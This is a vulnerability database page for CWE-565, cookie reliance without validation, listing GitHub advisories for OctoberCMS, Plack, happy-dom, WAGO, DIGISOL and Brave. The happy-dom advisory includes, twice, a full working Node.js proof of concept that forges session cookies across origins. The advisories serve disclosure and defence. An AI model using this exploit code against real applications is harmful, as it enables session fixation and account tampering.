Common Weakness Enumeration

CWE-565

Weakness Allowed

Reliance on Cookies without Validation and Integrity Checking

Abstraction: Base · Status: Incomplete

The product relies on the existence or values of cookies when performing security-critical operations, but it does not properly ensure that the setting is valid for the associated user.

Mapping guidance

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

Relationships and members
ChildOf: CWE-642 · View CWE-1000
ChildOf: CWE-669 · View CWE-1003
ChildOf: CWE-602 · View CWE-1000
Modes of introduction
Architecture and Design

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Implementation
Detection methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

Notes

Relationship

This problem can be primary to many types of weaknesses in web applications. A developer may perform proper validation against URL parameters while assuming that attackers cannot modify cookies. As a result, the program might skip basic input validation to enable cross-site scripting, SQL injection, price tampering, and other attacks..

Content history
Submission: Anonymous Tool Vendor (under NDA) · 2006-07-19 · CWE Draft 3
Modification: Sean Eidemiller · Cigital · 2008-07-01 · CWE 1.0

added/updated demonstrative examples

Modification: Eric Dalci · Cigital · 2008-07-01 · CWE 1.0

updated Potential_Mitigations, Time_of_Introduction

Modification: CWE Content Team · MITRE · 2008-09-08 · CWE 1.0

updated Relationships, Other_Notes, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2009-01-12 · CWE 1.2

updated Common_Consequences, Description, Other_Notes, Potential_Mitigations, Relationships

Modification: CWE Content Team · MITRE · 2009-07-16 · CWE 1.5

Clarified name and description; broadened the definition to include any security-critical operation, not just security decisions, to allow for relationships with injection weaknesses.

Modification: CWE Content Team · MITRE · 2009-07-27 · CWE 1.5

updated Description, Name, Potential_Mitigations, Relationship_Notes, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2009-10-29 · CWE 1.6

updated Relationships

Modification: CWE Content Team · MITRE · 2011-06-01 · CWE 1.13

updated Common_Consequences

Modification: CWE Content Team · MITRE · 2012-05-11 · CWE 2.2

updated Demonstrative_Examples, Relationships

Modification: CWE Content Team · MITRE · 2014-07-30 · CWE 2.8

updated Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2017-11-08 · CWE 3.0

updated Modes_of_Introduction, Relationships

Modification: CWE Content Team · MITRE · 2019-06-20 · CWE 3.3

updated Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2020-02-24 · CWE 4.0

updated Relationships

Modification: CWE Content Team · MITRE · 2021-10-28 · CWE 4.6

updated Relationships

Modification: CWE Content Team · MITRE · 2023-01-31 · CWE 4.10

updated Description

Modification: CWE Content Team · MITRE · 2023-04-27 · CWE 4.11

updated Detection_Factors, Relationships

Modification: CWE Content Team · MITRE · 2023-06-29 · CWE 4.12

updated Mapping_Notes

Modification: CWE Content Team · MITRE · 2023-10-26 · CWE 4.13

updated Observed_Examples

Modification: CWE Content Team · MITRE · 2025-04-03 · CWE 4.17

updated Common_Consequences, Description, Diagram

Modification: CWE Content Team · MITRE · 2025-12-11 · CWE 4.19

updated Applicable_Platforms, Relationships, Weakness_Ordinalities

115 vulnerabilities reference this CWE, most recent first.

GHSA-55MM-5399-7R63

Vulnerability from github – Published: 2020-08-05 14:52 – Updated: 2021-03-04 18:25
VLAI
Summary
Reliance on Cookies without validation in OctoberCMS
Details

Impact

Previously encrypted cookie values were not tied to the name of the cookie the value belonged to. This meant that certain classes of attacks that took advantage of other theoretical vulnerabilities in user facing code (nothing exploitable in the core project itself) had a higher chance of succeeding.

Specifically, if your usage exposed a way for users to provide unfiltered user input and have it returned to them as an encrypted cookie (ex. storing a user provided search query in a cookie) they could then use the generated cookie in place of other more tightly controlled cookies; or if your usage exposed the plaintext version of an encrypted cookie at any point to the user they could theoretically provide encrypted content from your application back to it as an encrypted cookie and force the framework to decrypt it for them.

Patches

Issue has been patched in Build 468 (v1.0.468).

NOTE: If you are using the cookie session driver, all of your session data will be invalidated. All other session drivers should smoothly upgrade to the changes (although the backend authentication persist cookie will also be invalidated requiring users to login again once their current session expires).

Workarounds

Apply https://github.com/octobercms/library/commit/28310d4fb336a1741b39498f4474497644a6875c to your installation manually if unable to upgrade to Build 468.

References

  • https://blog.laravel.com/laravel-cookie-security-releases
  • https://github.com/laravel/framework/compare/4c7d118181d6c7f1f883643702df807ced016c5e...a731824421f9ebc586728ea9c7cff231a249aaa9

For more information

If you have any questions or comments about this advisory: * Email us at hello@octobercms.com

Threat Assessment

Assessed as Low given that it is not directly exploitable within the core but requires other security vulnerabilities within the application to have an effect and the severity of its effect depends entirely on the severity of those other holes in the application's defences.

Acknowledgements

Thanks to Takashi Terada of Mitsui Bussan Secure Directions, Inc. for finding the original issue in Laravel and @taylorotwell for sharing the report with the October CMS team.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "october/rain"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.319"
            },
            {
              "fixed": "1.0.468"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-15128"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-327",
      "CWE-565"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-07-31T17:44:58Z",
    "nvd_published_at": "2020-07-31T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nPreviously encrypted cookie values were not tied to the name of the cookie the value belonged to. This meant that certain classes of attacks that took advantage of other theoretical vulnerabilities in user facing code (nothing exploitable in the core project itself) had a higher chance of succeeding. \n\nSpecifically, if your usage exposed a way for users to provide unfiltered user input and have it returned to them as an encrypted cookie (ex. storing a user provided search query in a cookie) they could then use the generated cookie in place of other more tightly controlled cookies; or if your usage exposed the plaintext version of an encrypted cookie at any point to the user they could theoretically provide encrypted content from your application back to it as an encrypted cookie and force the framework to decrypt it for them. \n\n### Patches\nIssue has been patched in Build 468 (v1.0.468).\n\n\u003e**NOTE**: If you are using the cookie session driver, all of your session data will be invalidated. All other session drivers should smoothly upgrade to the changes (although the backend authentication persist cookie will also be invalidated requiring users to login again once their current session expires).\n\n### Workarounds\nApply https://github.com/octobercms/library/commit/28310d4fb336a1741b39498f4474497644a6875c to your installation manually if unable to upgrade to Build 468.\n\n### References\n- https://blog.laravel.com/laravel-cookie-security-releases\n- https://github.com/laravel/framework/compare/4c7d118181d6c7f1f883643702df807ced016c5e...a731824421f9ebc586728ea9c7cff231a249aaa9\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat Assessment\nAssessed as Low given that it is not directly exploitable within the core but requires other security vulnerabilities within the application to have an effect and the severity of its effect depends entirely on the severity of those other holes in the application\u0027s defences.\n\n### Acknowledgements\n\nThanks to [Takashi Terada of Mitsui Bussan Secure Directions, Inc.](https://www.linkedin.com/in/takeshi-terada-b570a6100/) for finding the original issue in Laravel and @taylorotwell for sharing the report with the October CMS team.",
  "id": "GHSA-55mm-5399-7r63",
  "modified": "2021-03-04T18:25:42Z",
  "published": "2020-08-05T14:52:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/octobercms/october/security/advisories/GHSA-55mm-5399-7r63"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15128"
    },
    {
      "type": "WEB",
      "url": "https://github.com/octobercms/library/pull/508"
    },
    {
      "type": "WEB",
      "url": "https://github.com/octobercms/library/commit/28310d4fb336a1741b39498f4474497644a6875c"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Reliance on Cookies without validation in OctoberCMS"
}

GHSA-58QR-V987-VH6W

Vulnerability from github – Published: 2026-03-26 03:30 – Updated: 2026-03-26 15:30
VLAI
Details

Plack::Middleware::Session::Cookie versions through 0.21 for Perl allows remote code execution.

Plack::Middleware::Session::Cookie versions through 0.21 has a security vulnerability where it allows an attacker to execute arbitrary code on the server during deserialization of the cookie data, when there is no secret used to sign the cookie.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2014-125112"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-565"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-26T03:16:00Z",
    "severity": "CRITICAL"
  },
  "details": "Plack::Middleware::Session::Cookie versions through 0.21 for Perl allows remote code execution.\n\nPlack::Middleware::Session::Cookie versions through 0.21 has a security vulnerability where it allows an attacker to execute arbitrary code on the server during deserialization of the cookie data, when there is no secret used to sign the cookie.",
  "id": "GHSA-58qr-v987-vh6w",
  "modified": "2026-03-26T15:30:36Z",
  "published": "2026-03-26T03:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-125112"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/miyagawa/2b8764af908a0dacd43d"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/release/MIYAGAWA/Plack-Middleware-Session-0.23-TRIAL/changes"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/03/26/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5FPQ-26GF-QWCR

Vulnerability from github – Published: 2026-10-28 21:06 – Updated: 2026-10-28 21:06
VLAI
Summary
Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies
Details

Summary

A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.

Details

happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.

PoC

Run:

node poc-happydom-cookie-domain.js

Full proof-of-concept source (poc-happydom-cookie-domain.js):

// PoC: happy-dom cookie-domain scoping gap -> cross-origin cookie injection / session fixation
// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)
//        -> attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)
//        -> happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL)
//        -> app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie
// Run:  cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.js
const http = require('http');
const { Window } = require('happy-dom');

const ATK_PORT = 19311; // attacker server, 127.0.0.1
const VIC_PORT = 19312; // victim server, localhost

let victimReceivedCookies = [];

let attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`;

const attacker = http.createServer((req, res) => {
  if (req.method === 'OPTIONS') {
    // CORS preflight (happy-dom enforces same-origin policy with a preflight; the
    // attacker trivially answers it — an attacker-controlled server always can)
    res.writeHead(204, {
      'Access-Control-Allow-Origin': '*',
      'Access-Control-Allow-Methods': 'GET, OPTIONS',
      'Access-Control-Allow-Headers': '*'
    });
    res.end();
    return;
  }
  res.writeHead(200, {
    'content-type': 'image/gif',
    'Access-Control-Allow-Origin': '*',
    // Attacker claims Domain=localhost even though it is serving from 127.0.0.1.
    // A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of
    // the request-host; localhost is also on the Mozilla PSL).
    'Set-Cookie': attackerSetCookie
  });
  res.end('GIF89a');
});

const victim = http.createServer((req, res) => {
  victimReceivedCookies.push({ path: req.url, cookie: req.headers['cookie'] || null });
  res.writeHead(200, { 'content-type': 'application/json' });
  res.end(JSON.stringify({ ok: true, user: 'alice' }));
});

function sleep(ms) { return new Promise((r) => setTimeout(r, ms)); }

async function runScenario(scenario) {
  victimReceivedCookies = [];
  const win = new Window({
    url: `http://localhost:${VIC_PORT}/`,
    settings: {
      enableJavaScriptEvaluation: true,
      suppressInsecureJavaScriptEnvironmentWarning: true
    }
  });
  try {
    if (scenario === 'no-plant-control') {
      // Control: app NEVER contacts attacker -> victim must receive NO cookie
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    } else if (scenario === 'honest-domain-control') {
      // Control: attacker sets Domain=127.0.0.1 (its own host, honest)
      // -> cookie must NOT leak to localhost victim
      attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure`;
      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    } else {
      // attack: app fetches attacker content (scraping/SSR/third-party resource)
      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    }
    await sleep(150);
    return victimReceivedCookies;
  } finally {
    win.happyDOM.abort();
  }
}

async function main() {
  await new Promise((r) => attacker.listen(ATK_PORT, '127.0.0.1', r));
  await new Promise((r) => victim.listen(VIC_PORT, 'localhost', r));

  console.log('=== happy-dom cookie-domain scoping PoC ===\n');

  const attack = await runScenario('attack');
  console.log('[ATTACK] app fetched attacker (127.0.0.1) then victim (localhost)');
  attack.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));
  const forged = attack.some((e) => e.cookie && e.cookie.includes('session=FORGED_BY_ATTACKER'));
  console.log(`  -> forged cookie delivered to victim: ${forged ? 'YES (VULNERABLE)' : 'no'}`);

  const noPlant = await runScenario('no-plant-control');
  console.log('\n[CONTROL] app never contacts attacker');
  noPlant.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));

  const honest = await runScenario('honest-domain-control');
  console.log('\n[CONTROL] attacker sets honest Domain=127.0.0.1 only');
  honest.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));

  // unit proof: document.cookie setter also accepts non-suffix domains (browser rejects)
  const win2 = new Window({
    url: `http://localhost:${VIC_PORT}/`,
    settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true }
  });
  win2.document.cookie = `admin=1; Domain=com; Path=/`; // PSL public suffix!
  const readBack = win2.document.cookie;
  console.log(`\n[UNIT] document.cookie = 'admin=1; Domain=com' -> read back: '${readBack}'`);
  console.log(`  -> browser: REJECTED (public suffix); happy-dom: ${readBack.includes('admin=1') ? 'ACCEPTED' : 'rejected'}`);
  win2.happyDOM.abort();

  // unit proof: endsWith boundary bug (SameSite=None cookie -> sent to any host ending with the domain)
  const { default: CookieURLUtility } = require('happy-dom/lib/cookie/urilities/CookieURLUtility.js');
  const matchesBoundary = CookieURLUtility.cookieMatchesURL(
    { key: 'k', value: 'v', originURL: new URL('http://attacker.example/'), domain: 'example.com', path: '/', secure: true, sameSite: 'None' },
    new URL('https://notexample.com/')
  );
  console.log(`\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = ${matchesBoundary}`);
  console.log(`  -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match`);

  attacker.close();
  victim.close();
  process.exit(0);
}

main().catch((e) => { console.error(e); process.exit(1); });

Observed output (verbatim, Node 24.15.0, Windows):

[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = true
  -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match

Impact

Cookie-scoping divergence / session forgery . Applications using happy-dom for SSR/prerender cookie handling can accept cookies from wrong origins. Affects happy-dom <= 20.14.5. Note: main pushback will be that happy-dom is a test DOM — state the SSR use case.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 20.14.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "happy-dom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "20.14.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-118661"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-565"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-28T21:06:13Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nA cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.\n\n### Details\nhappy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.\n\n### PoC\n\nRun:\n```bash\nnode poc-happydom-cookie-domain.js\n```\n\nFull proof-of-concept source (poc-happydom-cookie-domain.js):\n```js\n// PoC: happy-dom cookie-domain scoping gap -\u003e cross-origin cookie injection / session fixation\n// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)\n//        -\u003e attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)\n//        -\u003e happy-dom stores it (a real browser rejects: RFC 6265 \u00a75.3.6-7 + PSL)\n//        -\u003e app\u0027s same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie\n// Run:  cd C:/Users/rncb0/AppData/Local/Temp/0day \u0026\u0026 node poc/poc-happydom-cookie-domain.js\nconst http = require(\u0027http\u0027);\nconst { Window } = require(\u0027happy-dom\u0027);\n\nconst ATK_PORT = 19311; // attacker server, 127.0.0.1\nconst VIC_PORT = 19312; // victim server, localhost\n\nlet victimReceivedCookies = [];\n\nlet attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`;\n\nconst attacker = http.createServer((req, res) =\u003e {\n  if (req.method === \u0027OPTIONS\u0027) {\n    // CORS preflight (happy-dom enforces same-origin policy with a preflight; the\n    // attacker trivially answers it \u2014 an attacker-controlled server always can)\n    res.writeHead(204, {\n      \u0027Access-Control-Allow-Origin\u0027: \u0027*\u0027,\n      \u0027Access-Control-Allow-Methods\u0027: \u0027GET, OPTIONS\u0027,\n      \u0027Access-Control-Allow-Headers\u0027: \u0027*\u0027\n    });\n    res.end();\n    return;\n  }\n  res.writeHead(200, {\n    \u0027content-type\u0027: \u0027image/gif\u0027,\n    \u0027Access-Control-Allow-Origin\u0027: \u0027*\u0027,\n    // Attacker claims Domain=localhost even though it is serving from 127.0.0.1.\n    // A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of\n    // the request-host; localhost is also on the Mozilla PSL).\n    \u0027Set-Cookie\u0027: attackerSetCookie\n  });\n  res.end(\u0027GIF89a\u0027);\n});\n\nconst victim = http.createServer((req, res) =\u003e {\n  victimReceivedCookies.push({ path: req.url, cookie: req.headers[\u0027cookie\u0027] || null });\n  res.writeHead(200, { \u0027content-type\u0027: \u0027application/json\u0027 });\n  res.end(JSON.stringify({ ok: true, user: \u0027alice\u0027 }));\n});\n\nfunction sleep(ms) { return new Promise((r) =\u003e setTimeout(r, ms)); }\n\nasync function runScenario(scenario) {\n  victimReceivedCookies = [];\n  const win = new Window({\n    url: `http://localhost:${VIC_PORT}/`,\n    settings: {\n      enableJavaScriptEvaluation: true,\n      suppressInsecureJavaScriptEnvironmentWarning: true\n    }\n  });\n  try {\n    if (scenario === \u0027no-plant-control\u0027) {\n      // Control: app NEVER contacts attacker -\u003e victim must receive NO cookie\n      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);\n    } else if (scenario === \u0027honest-domain-control\u0027) {\n      // Control: attacker sets Domain=127.0.0.1 (its own host, honest)\n      // -\u003e cookie must NOT leak to localhost victim\n      attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure`;\n      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);\n      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);\n    } else {\n      // attack: app fetches attacker content (scraping/SSR/third-party resource)\n      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);\n      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);\n    }\n    await sleep(150);\n    return victimReceivedCookies;\n  } finally {\n    win.happyDOM.abort();\n  }\n}\n\nasync function main() {\n  await new Promise((r) =\u003e attacker.listen(ATK_PORT, \u0027127.0.0.1\u0027, r));\n  await new Promise((r) =\u003e victim.listen(VIC_PORT, \u0027localhost\u0027, r));\n\n  console.log(\u0027=== happy-dom cookie-domain scoping PoC ===\\n\u0027);\n\n  const attack = await runScenario(\u0027attack\u0027);\n  console.log(\u0027[ATTACK] app fetched attacker (127.0.0.1) then victim (localhost)\u0027);\n  attack.forEach((e) =\u003e console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));\n  const forged = attack.some((e) =\u003e e.cookie \u0026\u0026 e.cookie.includes(\u0027session=FORGED_BY_ATTACKER\u0027));\n  console.log(`  -\u003e forged cookie delivered to victim: ${forged ? \u0027YES (VULNERABLE)\u0027 : \u0027no\u0027}`);\n\n  const noPlant = await runScenario(\u0027no-plant-control\u0027);\n  console.log(\u0027\\n[CONTROL] app never contacts attacker\u0027);\n  noPlant.forEach((e) =\u003e console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));\n\n  const honest = await runScenario(\u0027honest-domain-control\u0027);\n  console.log(\u0027\\n[CONTROL] attacker sets honest Domain=127.0.0.1 only\u0027);\n  honest.forEach((e) =\u003e console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));\n\n  // unit proof: document.cookie setter also accepts non-suffix domains (browser rejects)\n  const win2 = new Window({\n    url: `http://localhost:${VIC_PORT}/`,\n    settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true }\n  });\n  win2.document.cookie = `admin=1; Domain=com; Path=/`; // PSL public suffix!\n  const readBack = win2.document.cookie;\n  console.log(`\\n[UNIT] document.cookie = \u0027admin=1; Domain=com\u0027 -\u003e read back: \u0027${readBack}\u0027`);\n  console.log(`  -\u003e browser: REJECTED (public suffix); happy-dom: ${readBack.includes(\u0027admin=1\u0027) ? \u0027ACCEPTED\u0027 : \u0027rejected\u0027}`);\n  win2.happyDOM.abort();\n\n  // unit proof: endsWith boundary bug (SameSite=None cookie -\u003e sent to any host ending with the domain)\n  const { default: CookieURLUtility } = require(\u0027happy-dom/lib/cookie/urilities/CookieURLUtility.js\u0027);\n  const matchesBoundary = CookieURLUtility.cookieMatchesURL(\n    { key: \u0027k\u0027, value: \u0027v\u0027, originURL: new URL(\u0027http://attacker.example/\u0027), domain: \u0027example.com\u0027, path: \u0027/\u0027, secure: true, sameSite: \u0027None\u0027 },\n    new URL(\u0027https://notexample.com/\u0027)\n  );\n  console.log(`\\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = ${matchesBoundary}`);\n  console.log(`  -\u003e \u0027notexample.com\u0027.endsWith(\u0027example.com\u0027) is TRUE (no DNS-label boundary); browser: no match`);\n\n  attacker.close();\n  victim.close();\n  process.exit(0);\n}\n\nmain().catch((e) =\u003e { console.error(e); process.exit(1); });\n\n```\n\nObserved output (verbatim, Node 24.15.0, Windows):\n```\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = true\n  -\u003e \u0027notexample.com\u0027.endsWith(\u0027example.com\u0027) is TRUE (no DNS-label boundary); browser: no match\n```\n\n### Impact\nCookie-scoping divergence / session forgery . Applications using happy-dom for SSR/prerender cookie handling can accept cookies from wrong origins. Affects happy-dom \u003c= 20.14.5. Note: main pushback will be that happy-dom is a test DOM \u2014 state the SSR use case.",
  "id": "GHSA-5fpq-26gf-qwcr",
  "modified": "2026-10-28T21:06:13Z",
  "published": "2026-10-28T21:06:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-5fpq-26gf-qwcr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/pull/2477"
    },
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/commit/f21dbd7d0a0c63cdd41954ba5d0f05def4e0f2b3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/capricorn86/happy-dom"
    },
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/releases/tag/v20.14.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies"
}

GHSA-5J3G-JM9F-QJGV

Vulnerability from github – Published: 2026-01-14 00:31 – Updated: 2026-01-14 00:31
VLAI
Details

WAGO 750-8212 PFC200 G2 2ETH RS firmware contains a privilege escalation vulnerability that allows attackers to manipulate user session cookies. Attackers can modify the cookie's 'name' and 'roles' parameters to elevate from ordinary user to administrative privileges without authentication.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-50926"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-565"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-13T23:15:56Z",
    "severity": "HIGH"
  },
  "details": "WAGO 750-8212 PFC200 G2 2ETH RS firmware contains a privilege escalation vulnerability that allows attackers to manipulate user session cookies. Attackers can modify the cookie\u0027s \u0027name\u0027 and \u0027roles\u0027 parameters to elevate from ordinary user to administrative privileges without authentication.",
  "id": "GHSA-5j3g-jm9f-qjgv",
  "modified": "2026-01-14T00:31:28Z",
  "published": "2026-01-14T00:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-50926"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/50793"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/wago-pfc-g-eth-rs-privilege-escalation"
    },
    {
      "type": "WEB",
      "url": "https://www.wago.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-5QXH-R3CQ-86G7

Vulnerability from github – Published: 2022-05-13 01:46 – Updated: 2025-04-20 03:34
VLAI
Details

Privilege escalation vulnerability on the DIGISOL DG-HR1400 1.00.02 wireless router enables an attacker to escalate from user privilege to admin privilege just by modifying the Base64-encoded session cookie value.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-6896"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-565"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-03-14T20:59:00Z",
    "severity": "HIGH"
  },
  "details": "Privilege escalation vulnerability on the DIGISOL DG-HR1400 1.00.02 wireless router enables an attacker to escalate from user privilege to admin privilege just by modifying the Base64-encoded session cookie value.",
  "id": "GHSA-5qxh-r3cq-86g7",
  "modified": "2025-04-20T03:34:03Z",
  "published": "2022-05-13T01:46:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6896"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/file/d/0B6715xUqH18MX29uRlpaSVJ4OTA/view?usp=sharing"
    },
    {
      "type": "WEB",
      "url": "https://packetstormsecurity.com/files/141693/digisol-escalate.txt"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/41633"
    },
    {
      "type": "WEB",
      "url": "https://www.indrajithan.com/DIGISOL_router_previlage_escaltion"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2017/Mar/52"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5W5V-4M3M-W7HQ

Vulnerability from github – Published: 2025-10-31 00:30 – Updated: 2025-10-31 00:30
VLAI
Details

In Brave Browser Desktop versions prior to 1.83.10 that have the split view feature enabled, the "Open Link in Split View" context menu item did not respect the SameSite cookie attribute. Therefore SameSite=Strict cookies would be sent on a cross-site navigation using this method.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-48980"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-565"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-31T00:15:36Z",
    "severity": "MODERATE"
  },
